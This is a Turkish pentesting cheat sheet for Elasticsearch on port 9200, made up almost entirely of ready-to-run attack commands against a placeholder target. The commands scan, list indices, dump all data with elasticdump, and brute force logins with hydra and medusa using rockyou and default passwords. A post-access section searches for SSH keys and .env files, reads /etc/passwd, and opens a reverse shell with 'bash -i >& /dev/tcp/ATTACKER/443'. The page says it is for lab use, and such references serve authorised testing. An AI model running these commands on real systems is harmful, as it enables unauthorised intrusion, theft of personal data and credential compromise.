9200 - Pentesting Elasticsearch
Elasticsearch database
ES HTTP API auth’suz kaldığında tüm index’ler açık demektir. Eski script engine RCE verir. Hedef lab IP’si üzerinde komutları 9200 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
9200/9300 doğrula.
-
/_cat/indices.
-
Dump.
-
Script/CVE.
nmap -Pn -sV -p9200,9300 TARGETcurl -s http://TARGET:9200/curl -s http://TARGET:9200/_cat/indices?vcurl -s http://TARGET:9200/_nodescurl -s 'http://TARGET:9200/_search?size=100' | jq .elasticdump --input=http://TARGET:9200/INDEX --output=index.json --type=datacurl -s http://TARGET:9200/_usersnuclei -u http://TARGET:9200 -tags elasticcurl -s -X POST http://TARGET:9200/_search -H 'Content-Type: application/json' -d '{"query":{"match_all":{}}}'Derin enum
Section titled “Derin enum”Elasticsearch için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p9200 TARGETnmap -Pn -p9200 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:9200' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',9200));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → ElasticsearchKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 9200 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 9200nmap -p9200 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit Elasticsearchmsfconsole -q -x 'search Elasticsearch; exit'nuclei -u https://TARGET:9200 -t cves/ -silent -severity || truenuclei -u http://TARGET:9200 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 9200printf '' | timeout 3 nc -nv TARGET 9200curl -vk --http1.0 http://TARGET:9200/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”unauth ES → indices dump → PII/creds